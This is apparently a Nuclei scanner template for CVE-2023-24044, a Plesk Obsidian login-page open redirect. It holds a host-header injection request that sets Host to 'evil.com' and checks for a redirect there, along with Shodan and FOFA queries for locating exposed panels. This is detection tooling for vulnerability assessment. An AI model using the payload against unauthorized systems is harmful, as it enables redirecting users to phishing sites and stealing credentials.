id: CVE-2023-24044

info:
  name: Plesk Obsidian <=18.0.49 - Open Redirect
  author: pikpikcu
  severity: medium
  description: |
    Plesk Obsidian through 18.0.49 contains an open redirect vulnerability via the login page. An attacker can redirect users to malicious websites via a host request header and thereby access user credentials and execute unauthorized operations. NOTE: The vendor's position is "the ability to use arbitrary domain names to access the panel is an intended feature."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Plesk Obsidian to a version higher than 18.0.49 to mitigate the vulnerability.
  reference:
    - https://portswigger.net/web-security/host-header/exploiting
    - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8
    - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24044
    - https://support.plesk.com/hc/en-us/articles/10254625170322-Vulnerability-CVE-2023-24044
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24044
    cwe-id: CWE-601
    epss-score: 0.00155
    epss-percentile: 0.51774
    cpe: cpe:2.3:a:plesk:obsidian:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: plesk
    product: obsidian
    shodan-query: title:"Plesk Obsidian"
    fofa-query: title="Plesk Obsidian"
  tags: cve2023,cve,header,injection,plesk,obsidian

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.php"

    headers:
      Host: "evil.com"

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - 'https://evil.com/login_up.php'

      - type: status
        status:
          - 303
# digest: 4a0a00473045022069dc022651b4fb9af6a01bd55d548680f03edd9debffa187316d1b018f1209cc022100c92c5328721c039369314c3c7035951e413c56f1862f781e9d73bac65cfa6719:922c64590222798bb761d5b6d8e72950